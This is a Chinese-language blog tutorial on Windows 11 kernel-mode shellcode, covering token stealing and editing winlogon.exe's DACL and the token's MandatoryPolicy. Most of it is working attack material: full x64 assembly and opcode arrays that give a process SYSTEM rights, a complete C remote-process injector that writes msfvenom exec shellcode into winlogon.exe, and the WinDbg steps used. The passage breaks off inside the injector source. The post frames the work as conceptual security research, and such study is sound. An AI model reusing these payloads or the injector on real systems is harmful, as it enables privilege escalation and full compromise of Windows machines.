这篇文章深入浅出地介绍了Windows内核态Shellcode的开发与应用,特别适合对内核开发和安全研究感兴趣的新手。作者通过通俗易懂的语言,结合实际案例,讲解了什么是内核态Shellcode、它的作用以及如何在Windows系统中编写和运行。文章涵盖了从基础概念到实际操作的步骤,包括如何利用工具调试代码、绕过安全机制(如KASLR)等关键技术。无论你是刚刚踏入系统安全领域,还是希望了解Windows内核开发的初学者,这篇博客都能为你提供一个清晰的起点,帮助你快速上手并激发进一步探索的兴趣!
让我们从所有漏洞的基础和起点开始这篇博客:我们想要注入的代码——shellcode。
要实现这三种技术的POC,我们需要将shellcode加载到内核中。为此,我们将使用一个允许我们在NT函数上设置断点的程序,这样我们就可以通过WinDbg手动移动rip寄存器来执行shellcode,并切换SMEP和SMAP。由于我们目前还没有能够构建ROP链的漏洞利用代码,所以所有这些都是手动完成的——这主要还是概念性的。在未来的博客文章中,我们将深入探讨漏洞,届时我们将能够以编程方式完成所有这些操作。但本文的目标纯粹是概念性和理论实践性的,旨在涵盖我们将要讨论的三种shellcode技术。
在我们开始之前,这些技术的全部功劳都归于最初的创造者和出版商Morten Schenk 。
重要提示:
与倾向于多用途的用户空间 shellcode 不同,内核空间 shellcode 通常只专注于提升权限和获取NTSYSTEM状态。
首先,我们需要一个用于 POC 的 Shellcode 加载器。正如我之前提到的,我们需要一个程序将 Shellcode 加载到内存中,并将控制权交给 WinDbg,以便我们手动运行 POC。虽然程序在每次运行之间可能会略有不同,但基本结构如下所示:
#include<stdio.h>#include<windows.h>#include<ktmw32.h>#pragma comment(lib,"KtmW32.lib")char charShellcode[] = {// shellcode...};intmain(){printf("nAllocating Kernel Shellcode...n");// Allocate the mem space (CPL 3) PVOID pShellcode = VirtualAlloc(nullptr, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); RtlSecureZeroMemory(pShellcode, 0x1000);memcpy(pShellcode, charShellcode, sizeof(charShellcode)); VirtualLock(pShellcode, 0x1000);printf("n[SHELLCODE ADDRESS] 0x%pn", pShellcode);printf("nPress <ENTER> to free the memoryn"); getchar(); CreateTransaction(NULL, 0, 0, 0, 0, 0, NULL);return0;}
由于 Windows 以频繁更改内核数据结构而闻名,因此所有即将推出的内核 shellcode 都将通过结构偏移引用数据。
我们将调整 shellcode 以匹配 Windows 11 的主机版本。
Nombre de host: ДОБРОЕ-УТРОNombre del sistema operativo: Microsoft Windows 11 ProVersión del sistema operativo: 10.0.22631 N/D Compilación 22631Fabricante del sistema operativo: Microsoft Corporation
令牌窃取
我们要介绍的第一种技术是令牌窃取,它只是用高权限令牌替换被利用进程的令牌System。
在被利用的进程中,我们需要找到该_EPROCESS结构体,它是进程对象的内核表示。与许多其他 Windows 结构体一样,_EPROCESS该结构体位于与其他元素的固定偏移量处,而这些元素最终依赖于常量。在我们的例子中,该常量是GS寄存器,在偏移量处0x188,我们可以找到_KTHREAD当前进程的 。我们将它保存在r9寄存器中以供后续使用:
mov r9, qword gs:[0x188]
现在我们已经将 存储_KTHREAD在 中r9,我们可以使用它来定位_EPROCESS,它是0x220字节数(EPROCESS = KTHREAD + 0x220):
2: kd> dt _KTHREAD Processntdll!_KTHREAD +0x220 Process : Ptr64 _KPROCESS
mov r9, qword [r9+0x220]
理论上,我们应该检查conhost.exe,这意味着我们应该更深入一层——我们的 PPID 应该是0x1a8c。
2: kd> dt nt!_EPROCESS InheritedFromUniqueProcessId +0x540 InheritedFromUniqueProcessId : Ptr64 Void
mov r8, qword [r9 + 0x540]
2: kd> dt _EPROCESSntdll!_EPROCESS +0x000 Pcb : _KPROCESS... +0x440 UniqueProcessId : Ptr64 Void +0x448 ActiveProcessLinks : _LIST_ENTRY...
其结果是:
loop1:movr9, qword[r9+0x448]subr9, 0x448movr10, qword[r9+0x440]cmpr10, r8jneloop1
2: kd> dt _EPROCESS Tokenntdll!_EPROCESS +0x4b8 Token : _EX_FAST_REF
mov rax, r9add rax, 0x4b8
mov rax, r9 ; get the cmd.exe's token loop2: mov r9, qword [r9+0x448] sub r9, 0x448 mov r10, qword [r9+0x440] cmp r10, 4 jne loop2
mov r9, qword [r9+0x4b8] mov [rax], r9 ret
Token 窃取
首先,让我们创建一个分配用户模式缓冲区的 C 程序。然后,我们将使用断点从 WinDbg 触发 NT 函数,这样我们就可以在上下文中查看缓冲区。
#include<stdio.h>#include<windows.h>#include<ktmw32.h>#pragma comment(lib,"KtmW32.lib")// Kernel mode shellcodechar charShellcode[] = {0x90, 0x65, 0x4C, 0x8B, 0x0C, 0x25, 0x88, 0x01, 0x00, 0x00, 0x4D, 0x8B, 0x89, 0x20, 0x02, 0x00, 0x00, 0x4D, 0x8B, 0x81, 0x40, 0x05, 0x00, 0x00, 0x4D, 0x8B, 0x89, 0x48, 0x04, 0x00, 0x00, 0x49, 0x81, 0xE9, 0x48, 0x04, 0x00, 0x00, 0x4D, 0x8B, 0x91, 0x40, 0x04, 0x00, 0x00, 0x4D, 0x39, 0xC2, 0x75, 0xE6, 0x4C, 0x89, 0xC8, 0x48, 0x05, 0xB8, 0x04, 0x00, 0x00, 0x4D, 0x8B, 0x89, 0x48, 0x04, 0x00, 0x00, 0x49, 0x81, 0xE9, 0x48, 0x04, 0x00, 0x00, 0x4D, 0x8B, 0x91, 0x40, 0x04, 0x00, 0x00, 0x49, 0x83, 0xFA, 0x04, 0x75, 0xE5, 0x4D, 0x8B, 0x89, 0xB8, 0x04, 0x00, 0x00, 0x4C, 0x89, 0x08, 0xC3, 0x90, 0x90, 0x90};intmain(){printf("nAllocating Kernel Shellcode...n");// asignamos el espacio PVOID pShellcode = VirtualAlloc(nullptr, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); RtlSecureZeroMemory(pShellcode, 0x1000);memcpy(pShellcode, charShellcode, 100); VirtualLock(pShellcode, 0x1000);printf("n[SHELLCODE ADDRESS] 0x%pn", pShellcode);printf("nPress <ENTER> to free the memoryn"); getchar(); CreateTransaction(NULL, 0, 0, 0, 0, 0, NULL);return0;}
编写完 shellcode 后,使用 nasm 进行编译:
nasm -f bin MyTokenElevate.asm
查看反汇编:
ndisasm -b 64 MyTokenElevate
使用HxD将操作码复制到您的 C 程序中:
这是我们的汇编代码:
section .textBITS 64 nop mov r9, qword [gs:0x188] ; obtenemos el _KTHREAD mov r9, qword [r9 + 0x220] ; obtenemos el _EPROCESS/_KPROCESS mov r8, qword [r9 + 0x540] ; get the InheritedFromUniqueProcessId (cmd.exe PID) loop1: mov r9, qword [r9+0x448] ; go to the flink sub r9, 0x448 ; back to the start of _EPROCESS mov r10, qword [r9+0x440] ; get the UniqueProcessId cmp r10, r8 ; compare both PIDs jne loop1 mov rax, r9 ; get the cmd.exe's token add rax, 0x4b8 ; get the address of _EPROCESS on Token position loop2: mov r9, qword [r9+0x448] ; go to the flink sub r9, 0x448 ; go to the _EPROCESS' structure start mov r10, qword [r9+0x440] ; Gett the UniqueProcesId cmp r10, 4 ; compare the process ID with 4 jne loop2 mov r9, qword [r9+0x4b8] mov [rax], r9 retend
一旦我们获得了操作码,我们就必须将其粘贴到我们的 UM 缓冲区中。
...char charShellcode[] = {0x90, 0x65, 0x4C, 0x8B, 0x0C, 0x25, 0x88, 0x01, 0x00, 0x00, 0x4D, 0x8B, 0x89, 0x20, 0x02, 0x00, 0x00, 0x4D, 0x8B, 0x81, 0x40, 0x05, 0x00, 0x00, 0x4D, 0x8B, 0x89, 0x48, 0x04, 0x00, 0x00, 0x49, 0x81, 0xE9, 0x48, 0x04, 0x00, 0x00, 0x4D, 0x8B, 0x91, 0x40, 0x04, 0x00, 0x00, 0x4D, 0x39, 0xC2, 0x75, 0xE6, 0x4C, 0x89, 0xC8, 0x48, 0x05, 0xB8, 0x04, 0x00, 0x00, 0x4D, 0x8B, 0x89, 0x48, 0x04, 0x00, 0x00, 0x49, 0x81, 0xE9, 0x48, 0x04, 0x00, 0x00, 0x4D, 0x8B, 0x91, 0x40, 0x04, 0x00, 0x00, 0x49, 0x83, 0xFA, 0x04, 0x75, 0xE5, 0x4D, 0x8B, 0x89, 0xB8, 0x04, 0x00, 0x00, 0x4C, 0x89, 0x08, 0xC3, 0x90, 0x90, 0x90};...
缓冲区地址被打印出来。当我们按下 时<ENTER>,它会触发NtCreateTransaction系统调用——在该函数上设置一个断点:
bp nt!NtCreateTransaction
一旦断点命中,我们将执行几个关键步骤:
-
确保缓冲区可见且完好无损
-
通过修改禁用SMAP和SMEPcr4
-
修改rip为指向缓冲区的开始
SMAP 和 SMEP 已禁用。
然后我们使用 跳过 shellcode p。
最后,禁用断点并恢复原始rip值以返回到之前的执行上下文。
ACL-ACE 编辑
这是我们的行动计划:
-
找到SecurityDescriptor里面的指针winlogon.exe
-
在这里我们应该找到SECURITY_DESCRIPTOR对象,它包含一个带有ACCESS_ALLOWED_ACE的DACL
-
将ACE的 SID 修改为S-1-5-11(“登录用户”的标准 SID)
-
将利用进程的“强制完整性策略”从当前值“0”覆盖,这样我们就可以访问winlogon
ACL-ACE 编辑实验室 (24H2 (2024 更新)
我们的目标是注入shellcodewinlogon.exe并获取特权cmd.exe。为此,我们需要两样东西:加载shellcode并拥有一个进程注入器。
首先,我们要找到_EPROCESS目标进程的地址winlogon.exe:
0: kd> !process 00 winlogon.exePROCESS ffffe7814a54d080SessionId: 1Cid: 033c Peb: 46af345000 ParentCid: 02b4DirBase: 228a3c000 ObjectTable: ffff9e0c91211bc0 HandleCount: 275.Image: winlogon.exe
winlogon _EPROCESS' 是0xffffe7814a54d080
-
_EPROCESS≈_OBJECT_HEADER + 0x30 (48 字节) 在x64上。
-
_EPROCESS_OBJECT_HEADER + 0x18在x86上约为(24 字节) 。
位于SecurityDescriptor内部_OBJECT_HEADER,并且该结构位于 之前_EPROCESS:
//0x38 bytes (sizeof)struct _OBJECT_HEADER{ LONGLONG PointerCount; //0x0union { LONGLONG HandleCount; //0x8 VOID* NextToFree; //0x8 };struct _EX_PUSH_LOCKLock;//0x10 UCHAR TypeIndex; //0x18union { UCHAR TraceFlags; //0x19struct { UCHAR DbgRefTrace:1; //0x19 UCHAR DbgTracePermanent:1; //0x19 }; }; UCHAR InfoMask; //0x1aunion { UCHAR Flags; //0x1bstruct { UCHAR NewObject:1; //0x1b UCHAR KernelObject:1; //0x1b UCHAR KernelOnlyAccess:1; //0x1b UCHAR ExclusiveObject:1; //0x1b UCHAR PermanentObject:1; //0x1b UCHAR DefaultSecurityQuota:1; //0x1b UCHAR SingleHandleEntry:1; //0x1b UCHAR DeletedInline:1; //0x1b }; }; ULONG Reserved; //0x1cunion {struct _OBJECT_CREATE_INFORMATION* ObjectCreateInfo;//0x20 VOID* QuotaBlockCharged; //0x20 }; VOID* SecurityDescriptor; //0x28struct _QUADBody;//0x30};
这个结构在 之前有 0x30 个十六进制字节_EPROCESS,在这里我们可以找到这个_SECURITY_DESCRIPTOR结构。
_SECURITY_DESCRIPTOR有winlogon.exe:
//0x28 bytes (sizeof)struct _SECURITY_DESCRIPTOR{ UCHAR Revision; //0x0 UCHAR Sbz1; //0x1 USHORT Control; //0x2 VOID* Owner; //0x8 VOID* Group; //0x10struct _ACL* Sacl;//0x18struct _ACL* Dacl;//0x20};
-
UCHAR Revision; // 0x0 (1 byte)
-
指示安全描述符的版本。
-
目前最常见的值是1。
-
UCHAR Sbz1; // 0x1 (1 byte)
-
保留供将来使用,不应修改。
-
USHORT Control; // 0x2 (2 bytes)
-
包含描述描述符状态的标志。
-
可以指示 ACL 是否存在或描述符是否自动生成。
-
VOID* Owner; // 0x8 (8 bytes on x64)
-
指向对象所有者的指针。
-
通常是 SID。
-
VOID* Group; // 0x10 (8 bytes on x64)
-
指向对象组的指针。
-
通常也是 SID。
-
struct _ACL* Sacl; // 0x18 (8 bytes on x64)
-
指向SACL 的指针。
-
用于审计和访问日志记录。
-
struct _ACL* Dacl; // 0x20 (8 bytes on x64)
-
指向DACL 的指针。
-
定义用户对对象的权限。
我们要修改的是DACL,它指定了各个用户对对象的访问权限winlogon.exe。根据 MSDN,ACL 的结构如下:
//0x8 bytes (sizeof)struct _ACL{ UCHAR AclRevision; //0x0 UCHAR Sbz1; //0x1 USHORT AclSize; //0x2 USHORT AceCount; //0x4 USHORT Sbz2; //0x6};
通过ACCESS_MASK指定ACCESS_ALLOWED_ACE某个 SID 具有什么权限。
总而言之,该SecurityDescriptor指针指向一个SECURITY_DESCRIPTOR对象,该对象包含一个带有一个或多个结构的 DACL ACCESS_ALLOWED_ACE。需要遍历的结构有很多,但幸运的是,我们可以使用 WinDbg 命令将它们全部转储出来:!sd,该命令将SecurityDescriptor指针作为参数。
SecurityDescriptor是:0xffff8585eda43e2f
什么是快速引用指针?内核处理进程、文件或安全描述符等对象时,通常使用引用计数指针。它们的工作原理是:每当线程使用某个对象时,计数器增加;使用完毕后,计数器减少。一旦计数归零,该对象就会被释放。
该系统运行良好,但在多核系统上存在性能问题:
-
每次引用计数的改变都需要同步。
-
它通常涉及昂贵的原子操作。
-
在高并发性下,所有 CPU 可能会尝试更新同一个计数器,从而造成瓶颈。
在 上x64,快速引用是 4 位,因此我们需要剥去低 4 位才能得到真实地址(<address> & ~0xf):
这里我们有表示的安全描述符winlogon.exe。
这告诉我们很多信息:AceCountDACL 中的 为 2(0x0和0x1),这意味着有两个 ACE,both ACCESS_ALLOWED_ACE。一个用于NT AUTHORITY SYSTEM,另一个用于BUILTIN Administrators。它还表明SYSTEM对该进程拥有完全权限。
获取访问权限的途径有很多winlogon.exe,但我们选择获取 SYSTEM 权限。其思路是将SYSTEM SID 替换为一个低权限组,这样该组中的任何成员都可以获得该进程的完全访问权限。
为此,我们需要在内存中找到 SID。回到 DACL 结构,ACL 应该位于偏移量 处0x20,正如我们在 WinDbg 中看到的那样:
不幸的是,我们没有 的符号_ACCESS_ALLOWED_ACE,但我们有结构,所以我们可以计算最多 的字节偏移量SidStart:
typedefstruct _ACCESS_ALLOWED_ACE { ACE_HEADER Header; ACCESS_MASK Mask; ULONG SidStart;} ACCESS_ALLOWED_ACE;
typedefstruct _ACE_HEADER { UCHAR AceType; UCHAR AceFlags; USHORT AceSize;} ACE_HEADER;
我们看到的ACE_HEADER是4个字节。
-
ACCESS_MASK一个是DWORD(4个字节),
-
SidStart一个是ULONG(也是4个字节)。
因此十六进制转储中的前 4 个字节是ACE_HEADER+ ACCESS_MASK,并SidStart从偏移量 +8 开始。
现在让我们在 WinDbg 中进行字节交换:
typedef DWORD ACCESS_MASK;typedef ACCESS_MASK* PACCESS_MASK;
我们搜索0x12与我们的 SID 对应的:
我们转储十六进制数据并找到0x12。
注意:我们添加0x20到 DACL 的开头,而我们想要的数据位于0x28。
修改后,我们得到:
现在 SID 是Authenticated Users。
接下来,我们执行 ProcessInjector 来创建一个远程线程,该线程运行 shellcode 来cmd.exe作为子进程生成:
#include<stdio.h>#include<windows.h>#include<tlhelp32.h>// 280 bytes// EXITFUNC=thread// msfvenom -p windows/x64/exec CMD=cmd.exe -f raw EXITFUNC=threadunsignedchar pPayload[] = {0xFC, 0x48, 0x83, 0xE4, 0xF0, 0xE8, 0xC0, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xD2, 0x65, 0x48, 0x8B, 0x52, 0x60, 0x48, 0x8B, 0x52, 0x18, 0x48, 0x8B, 0x52, 0x20, 0x48, 0x8B, 0x72, 0x50, 0x48, 0x0F, 0xB7, 0x4A, 0x4A, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0, 0xAC, 0x3C, 0x61, 0x7C, 0x02, 0x2C, 0x20, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0xE2, 0xED, 0x52, 0x41, 0x51, 0x48, 0x8B, 0x52, 0x20, 0x8B, 0x42, 0x3C, 0x48, 0x01, 0xD0, 0x8B, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48, 0x85, 0xC0, 0x74, 0x67, 0x48, 0x01, 0xD0, 0x50, 0x8B, 0x48, 0x18, 0x44, 0x8B, 0x40, 0x20, 0x49, 0x01, 0xD0, 0xE3, 0x56, 0x48, 0xFF, 0xC9, 0x41, 0x8B, 0x34, 0x88, 0x48, 0x01, 0xD6, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0, 0xAC, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0x38, 0xE0, 0x75, 0xF1, 0x4C, 0x03, 0x4C, 0x24, 0x08, 0x45, 0x39, 0xD1, 0x75, 0xD8, 0x58, 0x44, 0x8B, 0x40, 0x24, 0x49, 0x01, 0xD0, 0x66, 0x41, 0x8B, 0x0C, 0x48, 0x44, 0x8B, 0x40, 0x1C, 0x49,0x01, 0xD0, 0x41, 0x8B, 0x04, 0x88, 0x48, 0x01, 0xD0, 0x41, 0x58, 0x41, 0x58, 0x5E, 0x59, 0x5A, 0x41, 0x58, 0x41, 0x59, 0x41, 0x5A, 0x48, 0x83, 0xEC, 0x20, 0x41, 0x52, 0xFF, 0xE0,0x58, 0x41, 0x59, 0x5A, 0x48, 0x8B, 0x12, 0xE9, 0x57, 0xFF, 0xFF, 0xFF, 0x5D, 0x48, 0xBA, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x8D, 0x01, 0x01, 0x00, 0x00, 0x41, 0xBA, 0x31, 0x8B, 0x6F, 0x87, 0xFF, 0xD5, 0xBB, 0xE0, 0x1D, 0x2A, 0x0A, 0x41, 0xBA, 0xA6, 0x95, 0xBD, 0x9D, 0xFF, 0xD5, 0x48, 0x83, 0xC4, 0x28, 0x3C, 0x06, 0x7C, 0x0A, 0x80, 0xFB, 0xE0, 0x75, 0x05, 0xBB, 0x47, 0x13, 0x72, 0x6F, 0x6A, 0x00, 0x59, 0x41, 0x89, 0xDA, 0xFF, 0xD5, 0x63, 0x6D, 0x64, 0x2E, 0x65, 0x78, 0x65, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00};boolProcessEnum(constwchar_t* wcProcess, DWORD *ProcId){ HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);if (hSnapshot == INVALID_HANDLE_VALUE) {printf("n[ERROR GETTING "hSnapshot"] -> %dn", GetLastError());returnfalse; } PROCESSENTRY32W ProcEntry = { 0 }; ProcEntry.dwSize = sizeof(PROCESSENTRY32W);if (!Process32FirstW(hSnapshot, &ProcEntry)) {printf("n[ERROR at "Process32FirstW"] -> %dn", GetLastError());returnfalse; }do {if (lstrcmpW(ProcEntry.szExeFile, wcProcess) == 0) { wprintf(L"n[+] Process found -> "%s"nt\__PID -> %dn", ProcEntry.szExeFile, ProcEntry.th32ProcessID); *ProcId = ProcEntry.th32ProcessID;break; } } while (Process32NextW(hSnapshot, &ProcEntry));returntrue;}boolRemoteInjection(DWORD dwPid){ HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, false, dwPid);if (hProcess == INVALID_HANDLE_VALUE) {printf("n[ERROR CREATING THE HANDLE TO THE PROCESS] -> %dn", GetLastError());returnfalse; }printf("n[HANDLE]n"); PVOID pRemoteAddress = VirtualAllocEx(hProcess, nullptr, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);if (pRemoteAddress == nullptr) {printf("n[ERROR ALLOCATING THE REMOTE BUFFER] -> %dn", GetLastError());returnfalse; }printf("n[BUFFER]n"); SIZE_T BytesWritten = 0;if (!WriteProcessMemory(hProcess, pRemoteAddress, pPayload, 280, nullptr)) {printf("n[ERROR WRITTING THE SHELLCODE INTO THE REMOTE BUFFER] -> %dn", GetLastError());returnfalse; }printf("n[SHELLCODE]n"); HANDLE CreateThread = CreateRemoteThread(hProcess, nullptr, 0, (LPTHREAD_START_ROUTINE)pRemoteAddress, nullptr, 0, nullptr);if (CreateThread == INVALID_HANDLE_VALUE) {printf("n[ERROR CREATING THE REMOTE THREAD] -> %dn", GetLastError());returnfalse; } WaitForSingleObject(CreateThread, INFINITE); VirtualFreeEx(hProcess, pRemoteAddress, 0x1000, MEM_RELEASE); CloseHandle(hProcess); CloseHandle(CreateThread);returntrue;}intmain(){constwchar_t* wcProcess = L"winlogon.exe"; DWORD dwPid = 0; wprintf(L"nPress <ENTER> to inject shellcode (cmd.exe) into %s processn", wcProcess); getchar();if (!ProcessEnum(wcProcess, &dwPid)) {printf("n[main] error enumerating processesn");return1; }if (!RemoteInjection(dwPid)) {printf("n[main] error executing the remote processn");return1; }return0;}
我们编译它并将其移动到目标操作系统。
我们没有看到任何效果。那是因为我们没有权限打开winlogon.exe
所以我们需要改变令牌
再次,由于它是一个快速引用,我们删除最后 4 位
是_TOKEN的结构ProcessInjector.exe。
我们关心的领域是MandatoryPolicy:
这个参数决定了我们的流程是否可以与完整性更高的流程进行交互。
查看:Integrity Levelwinlogon.exe
是 4 级。在我们的流程中,它是第 1 级:
所以我们要MandatoryPolicy覆盖ProcessInjector.exe:
完毕
shellcode 需要:
-
_EPROCESS通过遍历所有_EPROCESS条目并比较前 4 个字符(“winl”)来查找winlogon.exe
-
修改 DACL,将 SYSTEM SID 切换为Authenticated Users
-
再次迭代_EPROCESS修改令牌并删除高完整性限制
0: kd> dt nt!_KTHREAD Process +0x220 Process : Ptr64 _KPROCESS
BITS64section .text nop mov r8, qword [gs:0x188] ; Get _KTHREAD Address into r8 mov r8, qword [r8 + 0x220] ; Get _EPROCESS Address mov rcx, r8 ; save Exploit process' _EPROCESS structure on rcx...
现在我们循环按名称查找进程:
... loop1: mov r8, qword [r8 + 0x448] ; move the flink into r8 sub r8, 0x448 ; go back to the start of the struct cmp dword [r8+0x5a8], 0x6C6E6977 ; compare if it is equal to the first 4 characters "winl" (little endiand so "lniw") jnz loop1...
_EPROCESS我们现在有winlogon.exe r9:
0: kd> dt nt!_OBJECT_HEADER ffffa10df2e79080-30 SecurityDescriptor +0x028 SecurityDescriptor : 0xffffdd83`27a4feaf Void
...sub r8, 0x30 ; get the _OBJECT_HEADER of winlogon.exe mov r8, [r8 + 0x28] ; move to the SecurityDescriptor parameter and r8, 0xfffffffffffffff0 ; get the pointer to the object instead the fast reference pointer mov byte [r8+0x20+0x28], 0x0b ; _SECURITY_DESCRIPTOR + 0x20 (DACL start) + 0x28 (byte we want to change); 0x12 (SYSTEM) -> 0x0b (Authenticated Users; sid S-1-5-18 (SYSTEM) Full Process Control -> S-1-5-11 Full Process Control (Authenticated Users)...
现在我们已经修改了的DACLwinlogon.exe,接下来该做什么呢?允许我们的进程拥有 winlogon.exe 的句柄。
dt nt!_EPROCESS ffffa10df89cd080 Token +0x4b8 Token : _EX_FAST_REF0: kd> dt nt!_TOKEN (poi(ffffa10df89cd080+0x4b8)&0xfffffffffffffff0) +0x000 TokenSource : _TOKEN_SOURCE +0x010 TokenId : _LUID +0x018 AuthenticationId : _LUID +0x020 ParentTokenId : _LUID +0x028 ExpirationTime : _LARGE_INTEGER 0x7fffff36`d5969fff +0x030 TokenLock : 0xffffa10d`f9f72390 _ERESOURCE +0x038 ModifiedId : _LUID +0x040 Privileges : _SEP_TOKEN_PRIVILEGES +0x058 AuditPolicy : _SEP_AUDIT_POLICY +0x078 SessionId : 1 +0x07c UserAndGroupCount : 0x10 +0x080 RestrictedSidCount : 0 +0x084 VariableLength : 0x234 +0x088 DynamicCharged : 0x1000 +0x08c DynamicAvailable : 0 +0x090 DefaultOwnerIndex : 0 +0x098 UserAndGroups : 0xffffdd83`397d34f0 _SID_AND_ATTRIBUTES +0x0a0 RestrictedSids : (null) +0x0a8 PrimaryGroup : 0xffffdd83`2eac7560 Void +0x0b0 DynamicPart : 0xffffdd83`2eac7560 -> 0x501 +0x0b8 DefaultDacl : 0xffffdd83`2eac757c _ACL +0x0c0 TokenType : 1 ( TokenPrimary ) +0x0c4 ImpersonationLevel : 0 ( SecurityAnonymous ) +0x0c8 TokenFlags : 0x4a00 +0x0cc TokenInUse : 0x1'' +0x0d0 IntegrityLevelIndex : 1 +0x0d4 MandatoryPolicy : 1...
... mov rcx, [rcx+0x4b8] ; get the exploit process' _TOKEN structure and rcx, 0xfffffffffffffff0 ; get the pointer to the object and not the fast reference mov byte [rcx + 0x0d4], 0x0 ; set MandatoryPolicy to0 (open handle toany process besides the privilege) nop retend
现在MandatoryPolicy= 0
现在让我们加载shellcode。我们修改了ProcessInjection程序,并通过提取shellcode HxD。
#include<stdio.h>#include<windows.h>#include<tlhelp32.h>#include<ktmw32.h>#pragma comment(lib,"KtmW32.lib")// buffer que vamos a asignar para que el kernel lo ejecutechar KernelShellcode[] = {0x90, 0x65, 0x4C, 0x8B, 0x04, 0x25, 0x88, 0x01, 0x00, 0x00, 0x4D, 0x8B, 0x80, 0x20, 0x02, 0x00, 0x00, 0x4C, 0x89, 0xC1, 0x4D, 0x8B, 0x80, 0x48, 0x04, 0x00, 0x00, 0x49, 0x81, 0xE8, 0x48, 0x04, 0x00, 0x00, 0x41, 0x81, 0xB8, 0xA8, 0x05, 0x00, 0x00, 0x77, 0x69, 0x6E, 0x6C, 0x75, 0xE5, 0x49, 0x83, 0xE8, 0x30, 0x4D, 0x8B, 0x40, 0x28, 0x49, 0x83, 0xE0, 0xF0, 0x41, 0xC6, 0x40, 0x48, 0x0B, 0x48, 0x8B, 0x89, 0xB8, 0x04, 0x00, 0x00, 0x48, 0x83, 0xE1, 0xF0, 0xC6, 0x81, 0xD4, 0x00, 0x00, 0x00, 0x00, 0x90, 0xC3, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00};// 280 bytes// EXITFUNC=thread// msfvenom -p windows/x64/exec CMD=cmd.exe -f raw EXITFUNC=threadunsignedchar pPayload[] = {0xFC, 0x48, 0x83, 0xE4, 0xF0, 0xE8, 0xC0, 0x00, 0x00, 0x00,0x41, 0x51, 0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xD2,0x65, 0x48, 0x8B, 0x52, 0x60, 0x48, 0x8B, 0x52, 0x18, 0x48,0x8B, 0x52, 0x20, 0x48, 0x8B, 0x72, 0x50, 0x48, 0x0F, 0xB7,0x4A, 0x4A, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0, 0xAC, 0x3C,0x61, 0x7C, 0x02, 0x2C, 0x20, 0x41, 0xC1, 0xC9, 0x0D, 0x41,0x01, 0xC1, 0xE2, 0xED, 0x52, 0x41, 0x51, 0x48, 0x8B, 0x52,0x20, 0x8B, 0x42, 0x3C, 0x48, 0x01, 0xD0, 0x8B, 0x80, 0x88,0x00, 0x00, 0x00, 0x48, 0x85, 0xC0, 0x74, 0x67, 0x48, 0x01,0xD0, 0x50, 0x8B, 0x48, 0x18, 0x44, 0x8B, 0x40, 0x20, 0x49,0x01, 0xD0, 0xE3, 0x56, 0x48, 0xFF, 0xC9, 0x41, 0x8B, 0x34,0x88, 0x48, 0x01, 0xD6, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,0xAC, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0x38, 0xE0,0x75, 0xF1, 0x4C, 0x03, 0x4C, 0x24, 0x08, 0x45, 0x39, 0xD1,0x75, 0xD8, 0x58, 0x44, 0x8B, 0x40, 0x24, 0x49, 0x01, 0xD0,0x66, 0x41, 0x8B, 0x0C, 0x48, 0x44, 0x8B, 0x40, 0x1C, 0x49,0x01, 0xD0, 0x41, 0x8B, 0x04, 0x88, 0x48, 0x01, 0xD0, 0x41,0x58, 0x41, 0x58, 0x5E, 0x59, 0x5A, 0x41, 0x58, 0x41, 0x59,0x41, 0x5A, 0x48, 0x83, 0xEC, 0x20, 0x41, 0x52, 0xFF, 0xE0,0x58, 0x41, 0x59, 0x5A, 0x48, 0x8B, 0x12, 0xE9, 0x57, 0xFF,0xFF, 0xFF, 0x5D, 0x48, 0xBA, 0x01, 0x00, 0x00, 0x00, 0x00,0x00, 0x00, 0x00, 0x48, 0x8D, 0x8D, 0x01, 0x01, 0x00, 0x00,0x41, 0xBA, 0x31, 0x8B, 0x6F, 0x87, 0xFF, 0xD5, 0xBB, 0xE0,0x1D, 0x2A, 0x0A, 0x41, 0xBA, 0xA6, 0x95, 0xBD, 0x9D, 0xFF,0xD5, 0x48, 0x83, 0xC4, 0x28, 0x3C, 0x06, 0x7C, 0x0A, 0x80,0xFB, 0xE0, 0x75, 0x05, 0xBB, 0x47, 0x13, 0x72, 0x6F, 0x6A,0x00, 0x59, 0x41, 0x89, 0xDA, 0xFF, 0xD5, 0x63, 0x6D, 0x64,0x2E, 0x65, 0x78, 0x65, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00};boolProcessEnum(constwchar_t* wcProcess, DWORD* ProcId){ HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);if (hSnapshot == INVALID_HANDLE_VALUE) {printf("n[ERROR GETTING "hSnapshot"] -> %dn", GetLastError());returnfalse; } PROCESSENTRY32W ProcEntry = { 0 }; ProcEntry.dwSize = sizeof(PROCESSENTRY32W);if (!Process32FirstW(hSnapshot, &ProcEntry)) {printf("n[ERROR at "Process32FirstW"] -> %dn", GetLastError());returnfalse; }do {if (lstrcmpW(ProcEntry.szExeFile, wcProcess) == 0) { wprintf(L"n[+] Process found -> "%s"nt\__PID -> %dn", ProcEntry.szExeFile, ProcEntry.th32ProcessID); *ProcId = ProcEntry.th32ProcessID;break; } } while (Process32NextW(hSnapshot, &ProcEntry));returntrue;}boolRemoteInjection(DWORD dwPid){ HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, false, dwPid);if (hProcess == INVALID_HANDLE_VALUE) {printf("n[ERROR CREATING THE HANDLE TO THE PROCESS] -> %dn", GetLastError());returnfalse; 